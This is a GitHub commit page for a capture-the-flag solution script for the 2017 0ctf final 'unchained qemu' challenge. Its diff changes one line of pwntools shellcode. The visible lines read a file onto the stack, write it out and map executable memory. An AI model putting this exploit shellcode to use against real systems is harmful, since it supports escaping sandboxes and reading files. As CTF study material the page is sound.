Skip to content

Commit 671259a

Browse files
authored
simplify constants use with pwntools
1 parent 0073b40 commit 671259a

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

2017/0ctf-final/unchained qemu/solve.py

+1-1
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,7 @@ def exploit(r):
2929
+sc.read("rax", "rsp", 0x100)
3030
+sc.write(1, "rsp", 0x100)
3131
+sc.close(0)
32-
+sc.mmap(0x4000000000,0x200000,7,constants.MAP_PRIVATE|constants.MAP_ANONYMOUS, -1, 0)
32+
+sc.mmap(0x4000000000,0x200000,7,'MAP_PRIVATE|MAP_ANONYMOUS', -1, 0)
3333
+'mov rbx, rax;'
3434
+'mov rsp, rax;'
3535
+'add rsp, 0x1000;'

0 commit comments

Comments
 (0)